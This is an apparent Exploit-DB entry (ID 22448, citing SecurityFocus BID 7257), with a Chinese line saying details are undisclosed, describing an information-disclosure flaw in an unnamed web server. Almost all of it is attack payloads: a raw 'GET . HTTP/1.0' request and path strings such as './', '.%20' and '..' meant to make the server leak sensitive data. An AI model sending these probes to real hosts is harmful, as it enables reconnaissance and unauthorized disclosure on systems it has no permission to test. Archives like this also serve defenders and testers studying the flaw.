https://www.exploit-db.com/exploits/22448

漏洞细节尚未披露

source: http://www.securityfocus.com/bid/7257/info

It has been reported that some types of requests may result in sensitive information disclosure. From this, an attacker may be able to launch a more organized attack against vulnerable hosts. 

GET . HTTP/1.0rnrn

And also:

./
.//
.//////////////
.%20
.%20%20
..